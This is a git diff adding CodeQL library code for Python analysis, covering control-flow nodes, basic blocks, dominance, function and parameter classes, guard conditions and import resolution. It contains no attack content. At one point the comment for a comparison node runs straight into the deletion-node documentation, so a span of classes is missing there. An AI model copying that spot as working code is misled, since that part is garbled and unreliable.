} + + /** Equivalent to `this.refersTo(value, _)` */ + predicate refersTo(Object value) { + PointsTo::points_to(this, _, value, _, _) + and + not value = unknownValue() + } + + /** Gets the basic block containing this flow node */ + BasicBlock getBasicBlock() { + result.contains(this) + } + + /** Gets the scope containing this flow node */ + Scope getScope() { + if this.getNode() instanceof Scope then + /* Entry or exit node */ + result = this.getNode() + else + result = this.getNode().getScope() + } + + /** Gets the enclosing module */ + Module getEnclosingModule() { + result = this.getScope().getEnclosingModule() + } + + /** Gets a successor for this node if the relevant condition is True. */ + ControlFlowNode getATrueSuccessor() { + py_true_successors(this, result) + } + + /** Gets a successor for this node if the relevant condition is False. */ + ControlFlowNode getAFalseSuccessor() { + py_false_successors(this, result) + } + + /** Gets a successor for this node if an exception is raised. */ + ControlFlowNode getAnExceptionalSuccessor() { + py_exception_successors(this, result) + } + + /** Gets a successor for this node if no exception is raised. */ + ControlFlowNode getANormalSuccessor() { + py_successors(this, result) and not + py_exception_successors(this, result) + } + + /** Whether the scope may be exited as a result of this node raising an exception */ + predicate isExceptionalExit(Scope s) { + py_scope_flow(this, s, 1) + } + + /** Whether this node is a normal (non-exceptional) exit */ + predicate isNormalExit() { + py_scope_flow(this, _, 0) or py_scope_flow(this, _, 2) + } + + /** Whether it is unlikely that this ControlFlowNode can be reached */ + predicate unlikelyReachable() { + not start_bb_likely_reachable(this.getBasicBlock()) + or + exists(BasicBlock b | + start_bb_likely_reachable(b) and + not end_bb_likely_reachable(b) and + /* If there is an unlikely successor edge earlier in the BB + * than this node, then this node must be unreachable */ + exists(ControlFlowNode p, int i, int j | + p.(RaisingNode).unlikelySuccessor(_) and + p = b.getNode(i) and + this = b.getNode(j) and + i < j + ) + ) + } + + /** Check whether this control-flow node has complete points-to information. + * This would mean that the analysis managed to infer an over approximation + * of possible values at runtime. + */ + predicate hasCompletePointsToSet() { + ( + // If the tracking failed, then `this` will be its own "origin". In that + // case, we want to exclude nodes for which there is also a different + // origin, as that would indicate that some paths failed and some did not. + this.refersTo(_, _, this) and + not exists(ControlFlowNode other | other != this and this.refersTo(_, _, other)) + ) or ( + // If `this` is a use of a variable, then we must have complete points-to + // for that variable. + exists(SsaVariable v | v.getAUse() = this | + varHasCompletePointsToSet(v) + ) + ) + } + + /** Whether this strictly dominates other. */ + pragma [inline] predicate strictlyDominates(ControlFlowNode other) { + // This predicate is gigantic, so it must be inlined. + // About 1.4 billion tuples for OpenStack Cinder. + this.getBasicBlock().strictlyDominates(other.getBasicBlock()) + or + exists(BasicBlock b, int i, int j | + this = b.getNode(i) and other = b.getNode(j) and i < j + ) + } + + /** Whether this dominates other. + * Note that all nodes dominate themselves. + */ + pragma [inline] predicate dominates(ControlFlowNode other) { + // This predicate is gigantic, so it must be inlined. + this.getBasicBlock().strictlyDominates(other.getBasicBlock()) + or + exists(BasicBlock b, int i, int j | + this = b.getNode(i) and other = b.getNode(j) and i <= j + ) + } + + /** Whether this strictly reaches other. */ + pragma [inline] predicate strictlyReaches(ControlFlowNode other) { + // This predicate is gigantic, even larger than strictlyDominates, + // so it must be inlined. + this.getBasicBlock().strictlyReaches(other.getBasicBlock()) + or + exists(BasicBlock b, int i, int j | + this = b.getNode(i) and other = b.getNode(j) and i < j + ) + } + + /* Holds if this CFG node is a branch */ + predicate isBranch() { + py_true_successors(this, _) or py_false_successors(this, _) + } + + /* Gets a CFG node that corresponds to a child of the AST node for this node */ + pragma [noinline] + ControlFlowNode getAChild() { + this.getNode().getAChildNode() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock()) + } + +} + + +/* This class exists to provide an implementation over ControlFlowNode.getNode() + * that subsumes all the others in an way that's obvious to the optimiser. + * This avoids wasting time on the trivial overrides on the ControlFlowNode subclasses. + */ +private class AnyNode extends ControlFlowNode { + + override AstNode getNode() { + result = super.getNode() + } +} + + +/** Check whether a SSA variable has complete points-to information. + * This would mean that the analysis managed to infer an overapproximation + * of possible values at runtime. + */ +private predicate varHasCompletePointsToSet(SsaVariable var) { + // Global variables may be modified non-locally or concurrently. + not var.getVariable() instanceof GlobalVariable and + ( + // If we have complete points-to information on the definition of + // this variable, then the variable has complete information. + var.getDefinition().(DefinitionNode).getValue().hasCompletePointsToSet() + or + // If this variable is a phi output, then we have complete + // points-to information about it if all phi inputs had complete + // information. + forex(SsaVariable phiInput | phiInput = var.getAPhiInput() | + varHasCompletePointsToSet(phiInput) + ) + ) +} + +/** A control flow node corresponding to a call expression, such as `func(...)` */ +class CallNode extends ControlFlowNode { + + CallNode() { + toAst(this) instanceof Call + } + + /** Gets the flow node corresponding to the function expression for the call corresponding to this flow node */ + ControlFlowNode getFunction() { + exists(Call c | this.getNode() = c and c.getFunc() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** Gets the flow node corresponding to the nth argument of the call corresponding to this flow node */ + ControlFlowNode getArg(int n) { + exists(Call c | this.getNode() = c and c.getArg(n) = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** Gets the flow node corresponding to the named argument of the call corresponding to this flow node */ + ControlFlowNode getArgByName(string name) { + exists(Call c, Keyword k | this.getNode() = c and k = c.getAKeyword() and + k.getValue() = result.getNode() and k.getArg() = name and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** Gets the flow node corresponding to an argument of the call corresponding to this flow node */ + ControlFlowNode getAnArg() { + exists(int n | result = this.getArg(n)) + or + exists(string name | result = this.getArgByName(name)) + } + + override Call getNode() { result = super.getNode() } + +} + +/** A control flow corresponding to an attribute expression, such as `value.attr` */ +class AttrNode extends ControlFlowNode { + AttrNode() { + toAst(this) instanceof Attribute + } + + /** Gets the flow node corresponding to the object of the attribute expression corresponding to this flow node */ + ControlFlowNode getObject() { + exists(Attribute a | this.getNode() = a and a.getObject() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** Use getObject() instead */ + deprecated ControlFlowNode getValue() { + result = this.getObject() + } + + /** Use getObject(name) instead */ + deprecated ControlFlowNode getValue(string name) { + result = this.getObject(name) + } + + /** Gets the flow node corresponding to the object of the attribute expression corresponding to this flow node, + with the matching name */ + ControlFlowNode getObject(string name) { + exists(Attribute a | + this.getNode() = a and a.getObject() = result.getNode() and + a.getName() = name and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** Gets the attribute name of the attribute expression corresponding to this flow node */ + string getName() { + exists(Attribute a | this.getNode() = a and a.getName() = result) + } + + override Attribute getNode() { result = super.getNode() } + +} + +/** A control flow node corresponding to a `from ... import ...` expression */ +class ImportMemberNode extends ControlFlowNode { + ImportMemberNode() { + toAst(this) instanceof ImportMember + } + + /** Gets the flow node corresponding to the module in the import-member expression corresponding to this flow node, + with the matching name*/ + ControlFlowNode getModule(string name) { + exists(ImportMember i | + this.getNode() = i and i.getModule() = result.getNode() | + i.getName() = name and + result.getBasicBlock().dominates(this.getBasicBlock()) + ) + } + + override ImportMember getNode() { result = super.getNode() } +} + + +/** A control flow node corresponding to an artificial expression representing an import */ +class ImportExprNode extends ControlFlowNode { + + ImportExprNode() { + toAst(this) instanceof ImportExpr + } + + override ImportExpr getNode() { result = super.getNode() } + +} + +/** A control flow node corresponding to a `from ... import *` statement */ +class ImportStarNode extends ControlFlowNode { + + ImportStarNode() { + toAst(this) instanceof ImportStar + } + + /** Gets the flow node corresponding to the module in the import-star corresponding to this flow node */ + ControlFlowNode getModule() { + exists(ImportStar i | + this.getNode() = i and i.getModuleExpr() = result.getNode() | + result.getBasicBlock().dominates(this.getBasicBlock()) + ) + } + + override ImportStar getNode() { result = super.getNode() } + +} + +/** A control flow node corresponding to a subscript expression, such as `value[slice]` */ +class SubscriptNode extends ControlFlowNode { + SubscriptNode() { + toAst(this) instanceof Subscript + } + + /** DEPRECATED: Use `getObject()` instead. + * This will be formally deprecated before the end 2018 and removed in 2019.*/ + ControlFlowNode getValue() { + exists(Subscript s | this.getNode() = s and s.getObject() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** flow node corresponding to the value of the sequence in a subscript operation */ + ControlFlowNode getObject() { + exists(Subscript s | this.getNode() = s and s.getObject() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + /** flow node corresponding to the index in a subscript operation */ + ControlFlowNode getIndex() { + exists(Subscript s | this.getNode() = s and s.getIndex() = result.getNode() and + result.getBasicBlock().dominates(this.getBasicBlock())) + } + + override Subscript getNode() { result = super.getNode() } +} + +/** A control flow node corresponding to a comparison operation, such as `x DeletionNode -> NameNode('b') -> AttrNode('y') -> DeletionNode`. + */ +class DeletionNode extends ControlFlowNode { + + DeletionNode() { + toAst(this) instanceof Delete + } + + /** Gets the unique target of this deletion node. */ + ControlFlowNode getTarget() { + result.getASuccessor() = this + } + +} + +/** A control flow node corresponding to a sequence (tuple or list) literal */ +abstract class SequenceNode extends ControlFlowNode { + SequenceNode() { + toAst(this) instanceof Tuple + or + toAst(this) instanceof List + } + + /** Gets the control flow node for an element of this sequence */ + ControlFlowNode getAnElement() { + result = this.getElement(_) + } + + /** Gets the control flow node for the nth element of this sequence */ + abstract ControlFlowNode getElement(int n); + +} + +/** A control flow node corresponding to a tuple expression such as `( 1, 3, 5, 7, 9 )` */ +class TupleNode extends SequenceNode { + TupleNode() { + toAst(this) instanceof Tuple + } + + override ControlFlowNode getElement(int n) { + exists(Tuple t | this.getNode() = t and result.getNode() = t.getElt(n)) and + ( + result.getBasicBlock().dominates(this.getBasicBlock()) + or + this.getBasicBlock().dominates(result.getBasicBlock()) + ) + } +} + +/** A control flow node corresponding to a list expression, such as `[ 1, 3, 5, 7, 9 ]` */ +class ListNode extends SequenceNode { + ListNode() { + toAst(this) instanceof List + } + + override ControlFlowNode getElement(int n) { + exists(List l | this.getNode() = l and result.getNode() = l.getElt(n)) and + ( + result.getBasicBlock().dominates(this.getBasicBlock()) + or + this.getBasicBlock().dominates(result.getBasicBlock()) + ) + } + +} + +class SetNode extends ControlFlowNode { + + SetNode() { + toAst(this) instanceof Set + } + + ControlFlowNode getAnElement() { + exists(Set s | this.getNode() = s and result.getNode() = s.getElt(_)) and + ( + result.getBasicBlock().dominates(this.getBasicBlock()) + or + this.getBasicBlock().dominates(result.getBasicBlock()) + ) + } + +} + +/** A control flow node corresponding to a dictionary literal, such as `{ 'a': 1, 'b': 2 }` */ +class DictNode extends ControlFlowNode { + + DictNode() { + toAst(this) instanceof Dict + } + + /** Gets a key of this dictionary literal node, for those items that have keys + * E.g, in {'a':1, **b} this returns only 'a' + */ + ControlFlowNode getAKey() { + exists(Dict d | this.getNode() = d and result.getNode() = d.getAKey()) and + result.getBasicBlock().dominates(this.getBasicBlock()) + } + + /** Gets a value of this dictionary literal node*/ + ControlFlowNode getAValue() { + exists(Dict d | this.getNode() = d and result.getNode() = d.getAValue()) and + result.getBasicBlock().dominates(this.getBasicBlock()) + } + +} + +private Expr assigned_value(Expr lhs) { + /* lhs = result */ + exists(Assign a | a.getATarget() = lhs and result = a.getValue()) + or + /* import result as lhs */ + exists(Alias a | a.getAsname() = lhs and result = a.getValue()) + or + /* lhs += x => result = (lhs + x) */ + exists(AugAssign a, BinaryExpr b | b = a.getOperation() and result = b and lhs = b.getLeft()) + or + /* ..., lhs, ... = ..., result, ... */ + exists(Assign a, Tuple target, Tuple values, int index | + a.getATarget() = target and + a.getValue() = values and + lhs = target.getElt(index) and + result = values.getElt(index) + ) +} + +/** A flow node for a `for` statement. */ +class ForNode extends ControlFlowNode { + + ForNode() { + toAst(this) instanceof For + } + + override For getNode() { result = super.getNode() } + + /** Whether this `for` statement causes iteration over `sequence` storing each step of the iteration in `target` */ + predicate iterates(ControlFlowNode target, ControlFlowNode sequence) { + exists(For for | + toAst(this) = for and + for.getTarget() = target.getNode() and + for.getIter() = sequence.getNode() | + sequence.getBasicBlock().dominates(this.getBasicBlock()) and + sequence.getBasicBlock().dominates(target.getBasicBlock()) + ) + } + +} + +/** A flow node for a `raise` statement */ +class RaiseStmtNode extends ControlFlowNode { + + RaiseStmtNode() { + toAst(this) instanceof Raise + } + + /** Gets the control flow node for the exception raised by this raise statement */ + ControlFlowNode getException() { + exists(Raise r | + r = toAst(this) and + r.getException() = toAst(result) and + result.getBasicBlock().dominates(this.getBasicBlock()) + ) + } + +} + +private +predicate defined_by(NameNode def, Variable v) { + def.defines(v) or + exists(NameNode p | defined_by(p, v) and p.getASuccessor() = def and not p.defines(v)) +} + +/** A basic block (ignoring exceptional flow edges to scope exit) */ +class BasicBlock extends @py_flow_node { + + BasicBlock() { + py_flow_bb_node(_, _, this, _) + } + + /** Whether this basic block contains the specified node */ + predicate contains(ControlFlowNode node) { + py_flow_bb_node(node, _, this, _) + } + + /** Gets the nth node in this basic block */ + ControlFlowNode getNode(int n) { + py_flow_bb_node(result, _, this, n) + } + + string toString() { + result = "BasicBlock" + } + + /** Whether this basic block strictly dominates the other */ + pragma[nomagic] predicate strictlyDominates(BasicBlock other) { + other.getImmediateDominator+() = this + } + + /** Whether this basic block dominates the other */ + pragma[nomagic] predicate dominates(BasicBlock other) { + this = other + or + this.strictlyDominates(other) + } + + BasicBlock getImmediateDominator() { + this.firstNode().getImmediateDominator().getBasicBlock() = result + } + + /** Dominance frontier of a node x is the set of all nodes `other` such that `this` dominates a predecessor + * of `other` but does not strictly dominate `other` */ + predicate dominanceFrontier(BasicBlock other) { + this.dominates(other.getAPredecessor()) and not this.strictlyDominates(other) + } + + private ControlFlowNode firstNode() { + result = this + } + + /** Gets the last node in this basic block */ + ControlFlowNode getLastNode() { + exists(int i | + this.getNode(i) = result and + i = max(int j | py_flow_bb_node(_, _, this, j)) + ) + } + + private predicate oneNodeBlock() { + this.firstNode() = this.getLastNode() + } + + private predicate startLocationInfo(string file, int line, int col) { + if this.firstNode().getNode() instanceof Scope then + this.firstNode().getASuccessor().getLocation().hasLocationInfo(file, line, col, _, _) + else + this.firstNode().getLocation().hasLocationInfo(file, line, col, _, _) + } + + private predicate endLocationInfo(int endl, int endc) { + if (this.getLastNode().getNode() instanceof Scope and not this.oneNodeBlock()) then + this.getLastNode().getAPredecessor().getLocation().hasLocationInfo(_, _, _, endl, endc) + else + this.getLastNode().getLocation().hasLocationInfo(_, _, _, endl, endc) + } + + /** Gets a successor to this basic block */ + BasicBlock getASuccessor() { + result = this.getLastNode().getASuccessor().getBasicBlock() + } + + /** Gets a predecessor to this basic block */ + BasicBlock getAPredecessor() { + result.getASuccessor() = this + } + + /** Whether flow from this basic block reaches a normal exit from its scope */ + predicate reachesExit() { + exists(Scope s | s.getANormalExit().getBasicBlock() = this) + or + this.getASuccessor().reachesExit() + } + + predicate hasLocationInfo(string file, int line, int col, int endl, int endc) { + this.startLocationInfo(file, line, col) + and + this.endLocationInfo(endl, endc) + } + + /** Gets a true successor to this basic block */ + BasicBlock getATrueSuccessor() { + result = this.getLastNode().getATrueSuccessor().getBasicBlock() + } + + /** Gets a false successor to this basic block */ + BasicBlock getAFalseSuccessor() { + result = this.getLastNode().getAFalseSuccessor().getBasicBlock() + } + + /** Gets the scope of this block */ + pragma [nomagic] Scope getScope() { + exists(ControlFlowNode n | + n.getBasicBlock() = this | + /* Take care not to use an entry or exit node as that node's scope will be the outer scope */ + not py_scope_flow(n, _, -1) and + not py_scope_flow(n, _, 0) and + not py_scope_flow(n, _, 2) and + result = n.getScope() + or + py_scope_flow(n, result, _) + ) + } + + /** Whether (as inferred by type inference) it is highly unlikely (or impossible) for control to flow from this to succ. + */ + predicate unlikelySuccessor(BasicBlock succ) { + this.getLastNode().(RaisingNode).unlikelySuccessor(succ.firstNode()) + or + not end_bb_likely_reachable(this) and succ = this.getASuccessor() + } + + /** Holds if this basic block strictly reaches the other. Is the start of other reachable from the end of this. */ + predicate strictlyReaches(BasicBlock other) { + this.getASuccessor+() = other + } + + /** Holds if this basic block reaches the other. Is the start of other reachable from the end of this. */ + predicate reaches(BasicBlock other) { + this = other or this.strictlyReaches(other) + } + + /** Whether (as inferred by type inference) this basic block is likely to be reachable. + */ + predicate likelyReachable() { + start_bb_likely_reachable(this) + } +} + +private predicate start_bb_likely_reachable(BasicBlock b) { + exists(Scope s | s.getEntryNode() = b.getNode(_)) + or + exists(BasicBlock pred | + pred = b.getAPredecessor() and + end_bb_likely_reachable(pred) and + not pred.getLastNode().(RaisingNode).unlikelySuccessor(b) + ) +} + +private predicate end_bb_likely_reachable(BasicBlock b) { + start_bb_likely_reachable(b) and + not exists(ControlFlowNode p, ControlFlowNode s | + p.(RaisingNode).unlikelySuccessor(s) and + p = b.getNode(_) and + s = b.getNode(_) and + not p = b.getLastNode() + ) +} + diff --git a/python/ql/src/semmle/python/Function.qll b/python/ql/src/semmle/python/Function.qll new file mode 100644 index 00000000000..b2c1678b24d --- /dev/null +++ b/python/ql/src/semmle/python/Function.qll @@ -0,0 +1,377 @@ +import python + +/** A function, independent of defaults and binding. + It is the syntactic entity that is compiled to a code object. */ +class Function extends Function_, Scope, AstNode { + + /** The expression defining this function */ + CallableExpr getDefinition() { + result = this.getParent() + } + + /** The scope in which this function occurs, will be a class for a method, + * another function for nested functions, generator expressions or comprehensions, + * or a module for a plain function. */ + override Scope getEnclosingScope() { + result = this.getParent().(Expr).getScope() + } + + override Scope getScope() { + result = this.getEnclosingScope() + } + + /** Whether this function is declared in a class */ + predicate isMethod() { + exists(Class cls | this.getEnclosingScope() = cls) + } + + /** Whether this is a special method, that is does its name have the form `__xxx__` (except `__init__`) */ + predicate isSpecialMethod() { + this.isMethod() and + exists(string name | this.getName() = name | + name.matches("\\_\\_%\\_\\_") and + name != "__init__") + } + + /** Whether this function is a generator function, + that is whether it contains a yield or yield-from expression */ + predicate isGenerator() { + exists(Yield y | y.getScope() = this) + or + exists(YieldFrom y | y.getScope() = this) + } + + /** Whether this function is declared in a class and is named "__init__" */ + predicate isInitMethod() { + this.isMethod() and this.getName() = "__init__" + } + + /** Gets a decorator of this function */ + Expr getADecorator() { + result = ((FunctionExpr)this.getDefinition()).getADecorator() + } + + /** Gets the name of the nth argument (for simple arguments) */ + string getArgName(int index) { + result = ((Name)this.getArg(index)).getId() + } + + Parameter getArgByName(string name) { + result = this.getAnArg() and + result.(Name).getId() = name + } + + override Location getLocation() { + py_scope_location(result, this) + } + + override string toString() { + result = "Function " + this.getName() + } + + /** Gets the statements forming the body of this function */ + override StmtList getBody() { + result = Function_.super.getBody() + } + + /** Gets the nth statement in the function */ + override Stmt getStmt(int index) { + result = Function_.super.getStmt(index) + } + + /** Gets a statement in the function */ + override Stmt getAStmt() { + result = Function_.super.getAStmt() + } + + /** Gets the name used to define this function */ + override string getName() { + result = Function_.super.getName() + } + + /** Gets the metrics for this function */ + FunctionMetrics getMetrics() { + result = this + } + + /** Gets the FunctionObject corresponding to this function */ + FunctionObject getFunctionObject() { + result.getOrigin() = this.getDefinition() + } + + /** Whether this function is a procedure, that is, it has no explicit return statement and always returns None. + * Note that generator and async functions are not procedures as they return generators and coroutines respectively. */ + predicate isProcedure() { + not exists(this.getReturnNode()) and exists(this.getFallthroughNode()) and not this.isGenerator() and not this.isAsync() + } + + /** Gets the number of positional parameters */ + int getPositionalParameterCount() { + result = count(this.getAnArg()) + } + + /** Gets the number of keyword-only parameters */ + int getKeywordOnlyParameterCount() { + result = count(this.getAKwonlyarg()) + } + + /** Whether this function accepts a variable number of arguments. That is, whether it has a starred (*arg) parameter. */ + predicate hasVarArg() { + exists(this.getVararg()) + } + + /** Whether this function accepts arbitrary keyword arguments. That is, whether it has a double-starred (**kwarg) parameter. */ + predicate hasKwArg() { + exists(this.getKwarg()) + } + + override AstNode getAChildNode() { + result = this.getAStmt() or + result = this.getAnArg() or + result = this.getVararg() or + result = this.getKwarg() + } + + /** Gets the qualified name for this function. + * Should return the same name as the `__qualname__` attribute on functions in Python 3. + */ + string getQualifiedName() { + this.getEnclosingScope() instanceof Module and result = this.getName() + or + exists(string enclosing_name | + enclosing_name = this.getEnclosingScope().(Function).getQualifiedName() + or + enclosing_name = this.getEnclosingScope().(Class).getQualifiedName() | + result = enclosing_name + "." + this.getName() + ) + } + + /** Gets the nth keyword-only parameter of this function. */ + Name getKeywordOnlyArg(int n) { + result = Function_.super.getKwonlyarg(n) + } + + /** Gets a keyword-only parameter of this function. */ + Name getAKeywordOnlyArg() { + result = this.getKeywordOnlyArg(_) + } + + override Scope getEvaluatingScope() { + major_version() = 2 and exists(Comp comp | comp.getFunction() = this | result = comp.getEvaluatingScope()) + or + not exists(Comp comp | comp.getFunction() = this) and result = this + or + major_version() = 3 and result = this + } + + override + predicate containsInScope(AstNode inner) { + Scope.super.containsInScope(inner) + } + + override + predicate contains(AstNode inner) { + Scope.super.contains(inner) + } + +} + +/** A def statement. Note that FunctionDef extends Assign as a function definition binds the newly created function */ +class FunctionDef extends Assign { + + FunctionDef() { + /* This is an artificial assignment the rhs of which is a (possibly decorated) FunctionExpr */ + exists(FunctionExpr f | this.getValue() = f or this.getValue() = f.getADecoratorCall()) + } + + override string toString() { + result = "FunctionDef" + } + + /** Gets the function for this statement */ + Function getDefinedFunction() { + exists(FunctionExpr func | this.containsInScope(func) and result = func.getInnerScope()) + } + + override Stmt getLastStatement() { + result = this.getDefinedFunction().getLastStatement() + } + +} + +class FastLocalsFunction extends Function { + + /** A function that uses 'fast' locals, stored in the frame not in a dictionary. */ + FastLocalsFunction () { + not exists(ImportStar i | i.getScope() = this) + and + not exists(Exec e | e.getScope() = this) + } + +} + +/** A parameter. Either a Tuple or a Name (always a Name for Python 3) */ +class Parameter extends Parameter_ { + + Parameter() { + /* Parameter_ is just defined as a Name or Tuple, narrow to actual parameters */ + exists(ParameterList pl | py_exprs(this, _, pl, _)) + } + + Location getLocation() { + result = this.asName().getLocation() + or + result = this.asTuple().getLocation() + } + + /** Gets this parameter if it is a Name (not a Tuple) */ + Name asName() { + result = this + } + + /** Gets this parameter if it is a Tuple (not a Name) */ + Tuple asTuple() { + result = this + } + + Expr getDefault() { + exists(Function f, int n, int c, int d, Arguments args | + args = f.getDefinition().getArgs() | + f.getArg(n) = this and + c = count(f.getAnArg()) and + d = count(args.getADefault()) and + result = args.getDefault(d-c+n) + ) + } + + Variable getVariable() { + result.getAnAccess() = this.asName() + } + + /** Gets the position of this parameter */ + int getPosition() { + exists(Function f | + f.getArg(result) = this + ) + } + + /** Gets the name of this parameter */ + string getName() { + result = this.asName().getId() + } + + /** Holds if this parameter is the first parameter of a method. It is not necessarily called "self" */ + predicate isSelf() { + exists(Function f | + f.getArg(0) = this and + f.isMethod() + ) + } + + /** Holds if this parameter is a 'varargs' parameter. + * The `varargs` in `f(a, b, *varargs)`. + */ + predicate isVarargs() { + exists(Function func | func.getVararg() = this) + } + + /** Holds if this parameter is a 'kwargs' parameter. + * The `kwargs` in `f(a, b, **kwargs)`. + */ + predicate isKwargs() { + exists(Function func | func.getKwarg() = this) + } + +} + +/** An expression that generates a callable object, either a function expression or a lambda */ +abstract class CallableExpr extends Expr { + + /** Gets the parameters of this callable. + * This predicate is called getArgs(), rather than getParameters() for compatibility with Python's AST module. */ + abstract Arguments getArgs(); + + /** Gets the function scope of this code expression. */ + abstract Function getInnerScope(); + +} + +/** An (artificial) expression corresponding to a function definition. */ +class FunctionExpr extends FunctionExpr_, CallableExpr { + + override Expr getASubExpression() { + result = this.getArgs().getASubExpression() or + result = this.getReturns() + } + + override predicate hasSideEffects() { + any() + } + + Call getADecoratorCall() { + result.getArg(0) = this or + result.getArg(0) = this.getADecoratorCall() + } + + /** Gets a decorator of this function expression */ + Expr getADecorator() { + result = this.getADecoratorCall().getFunc() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() + or + result = this.getInnerScope() + } + + override Function getInnerScope() { + result = FunctionExpr_.super.getInnerScope() + } + + override Arguments getArgs() { + result = FunctionExpr_.super.getArgs() + } + +} + +/** A lambda expression, such as lambda x:x*x */ +class Lambda extends Lambda_, CallableExpr { + + /** Gets the expression to the right of the colon in this lambda expression */ + Expr getExpression() { + exists(Return ret | ret = this.getInnerScope().getStmt(0) | + result = ret.getValue()) + } + + override Expr getASubExpression() { + result = this.getArgs().getASubExpression() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() or + result = this.getInnerScope() + } + + override Function getInnerScope() { + result = Lambda_.super.getInnerScope() + } + + override Arguments getArgs() { + result = Lambda_.super.getArgs() + } + +} + +/** The arguments in a function definition */ +class Arguments extends Arguments_ { + + Expr getASubExpression() { + result = this.getAKwDefault() or + result = this.getAnAnnotation() or + result = this.getKwargannotation() or + result = this.getVarargannotation() or + result = this.getADefault() + } +} + + diff --git a/python/ql/src/semmle/python/GuardedControlFlow.qll b/python/ql/src/semmle/python/GuardedControlFlow.qll new file mode 100644 index 00000000000..d51eb1b741e --- /dev/null +++ b/python/ql/src/semmle/python/GuardedControlFlow.qll @@ -0,0 +1,67 @@ +import python + +/** A basic block which terminates in a condition, splitting the subsequent control flow */ +class ConditionBlock extends BasicBlock { + + ConditionBlock() { + exists(ControlFlowNode succ | succ = this.getATrueSuccessor() or succ = this.getAFalseSuccessor()) + } + + /** Basic blocks controlled by this condition, i.e. those BBs for which the condition is testIsTrue */ + predicate controls(BasicBlock controlled, boolean testIsTrue) { + /* For this block to control the block 'controlled' with 'testIsTrue' the following must be true: + Execution must have passed through the test i.e. 'this' must strictly dominate 'controlled'. + Execution must have passed through the 'testIsTrue' edge leaving 'this'. + + Although "passed through the true edge" implies that this.getATrueSuccessor() dominates 'controlled', + the reverse is not true, as flow may have passed through another edge to get to this.getATrueSuccessor() + so we need to assert that this.getATrueSuccessor() dominates 'controlled' *and* that + all predecessors of this.getATrueSuccessor() are either this or dominated by this.getATrueSuccessor(). + + For example, in the following python snippet: + + if x: + controlled + false_successor + uncontrolled + + false_successor dominates uncontrolled, but not all of its predecessors are this (if x) + or dominated by itself. Whereas in the following code: + + if x: + while controlled: + also_controlled + false_successor + uncontrolled + + the block 'while controlled' is controlled because all of its predecessors are this (if x) + or (in the case of 'also_controlled') dominated by itself. + + The additional constraint on the predecessors of the test successor implies + that `this` strictly dominates `controlled` so that isn't necessary to check + directly. + */ + exists(BasicBlock succ | + testIsTrue = true and succ = this.getATrueSuccessor() + or + testIsTrue = false and succ = this.getAFalseSuccessor() + | + succ.dominates(controlled) and + forall(BasicBlock pred | pred.getASuccessor() = succ | + pred = this or succ.dominates(pred) + ) + ) + } + + /** Holds if this condition controls the edge `pred->succ`, i.e. those edges for which the condition is `testIsTrue`. */ + predicate controlsEdge(BasicBlock pred, BasicBlock succ, boolean testIsTrue) { + this.controls(pred, testIsTrue) and succ = pred.getASuccessor() + or + pred = this and ( + testIsTrue = true and succ = this.getATrueSuccessor() + or + testIsTrue = false and succ = this.getAFalseSuccessor() + ) + } + +} diff --git a/python/ql/src/semmle/python/Import.qll b/python/ql/src/semmle/python/Import.qll new file mode 100644 index 00000000000..0668c97bdcf --- /dev/null +++ b/python/ql/src/semmle/python/Import.qll @@ -0,0 +1,275 @@ +import python + + +/** An alias in an import statement, the `mod as name` part of `import mod as name`. May be artificial; + `import x` is transformed into `import x as x` */ +class Alias extends Alias_ { + + Location getLocation() { + result = this.getValue().getLocation() + } + +} + +private predicate valid_module_name(string name) { + exists(Module m | m.getName() = name) + or + exists(Object cmod | py_cobjecttypes(cmod, theModuleType()) and py_cobjectnames(cmod, name)) +} + +/** An artificial expression representing an import */ +class ImportExpr extends ImportExpr_ { + + + private string basePackageName(int n) { + n = 1 and result = this.getEnclosingModule().getPackageName() + or + exists(string bpnm1 | bpnm1 = this.basePackageName(n-1) and + bpnm1.matches("%.%") and + result = bpnm1.regexpReplaceAll("\\.[^.]*$", "") + ) + } + + private predicate implicitRelativeImportsAllowed() { + // relative imports are no longer allowed in Python 3 + major_version() < 3 and + // and can be explicitly turned off in later versions of Python 2 + not getEnclosingModule().hasFromFuture("absolute_import") + } + + /** The language specifies level as -1 if relative imports are to be tried first, 0 for absolute imports, + and level > 0 for explicit relative imports. */ + override int getLevel() { + exists(int l | l = super.getLevel() | + l > 0 and result = l + or + /* The extractor may set level to 0 even though relative imports apply */ + l = 0 and ( + if this.implicitRelativeImportsAllowed() then + result = -1 + else + result = 0 + ) + ) + } + + /** + * If this import is relative, and relative imports are allowed, compute + * the name of the topmost module that will be imported. + */ + private string relativeTopName() { + getLevel() = -1 and + result = basePackageName(1) + "." + this.getTopName() and + valid_module_name(result) + } + + private string qualifiedTopName() { + if (this.getLevel() <= 0) then ( + result = this.getTopName() + ) else ( + result = basePackageName(this.getLevel()) and + valid_module_name(result) + ) + } + + /** Gets the name by which the lowest level module or package is imported. + * NOTE: This is the name that used to import the module, + * which may not be the name of the module. */ + string bottomModuleName() { + result = relativeTopName() + this.remainderOfName() + or + ( + not exists(relativeTopName()) and + result = this.qualifiedTopName() + this.remainderOfName() + ) + } + + /** Gets the name of topmost module or package being imported */ + string topModuleName() { + result = relativeTopName() + or + ( + not exists(relativeTopName()) and + result = this.qualifiedTopName() + ) + } + + /** Gets the full name of the module resulting from evaluating this import. + * NOTE: This is the name that used to import the module, + * which may not be the name of the module. */ + string getImportedModuleName() { + exists(string bottomName | bottomName = this.bottomModuleName() | + if this.isTop() then + result = topModuleName() + else + result = bottomName + ) + } + + /** Gets the names of the modules that may be imported by this import. + * For example this predicate would return 'x' and 'x.y' for `import x.y` + */ + string getAnImportedModuleName() { + result = this.bottomModuleName() + or + result = this.getAnImportedModuleName().regexpReplaceAll("\\.[^.]*$", "") + } + + override Expr getASubExpression() { + none() + } + + override predicate hasSideEffects() { + any() + } + + private string getTopName() { + result = this.getName().regexpReplaceAll("\\..*", "") + } + + private string remainderOfName() { + not exists(this.getName()) and result = "" or + this.getLevel() <= 0 and result = this.getName().regexpReplaceAll("^[^\\.]*", "") or + this.getLevel() > 0 